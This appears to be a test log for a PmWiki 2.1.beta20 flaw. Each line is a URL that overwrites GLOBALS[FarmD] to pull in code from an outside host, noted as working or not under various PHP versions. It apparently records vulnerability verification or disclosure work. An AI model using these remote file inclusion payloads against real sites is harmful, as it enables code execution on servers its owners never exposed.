http://devel-ush/pmwiki-2.1.beta20/pmwiki.php?GLOBALS&GLOBALS[FarmD]=http://www.ush.it php 4 DON'T WORKS

http://asciistation/pmwiki-2.1.beta20/pmwiki.php?GLOBALS&GLOBALS[FarmD]=http://www.ush.it php 5.0.5 WORKS

http://pmichaud/sandbox/rg/pmwiki.php?GLOBALS&GLOBALS[FarmD]=sadf&action=diag php 4 DON'T WORKS

http://pmichaud/sandbox/rg/pmwiki.php?GLOBALS&GLOBALS[FarmD]=sadf (no debug) php 4 DON'T WORKS

http://84.220.147.*:8888/xampp/pmwiki-2.1.beta20/pmwiki.php?GLOBALS&GLOBALS[FarmD]=http://www.ush.it php 5.1.1 WORKS

http://local-pmichaud/rg/pmwiki.php?GLOBALS&GLOBALS[FarmD]=sadf php 5.1.2 WORKS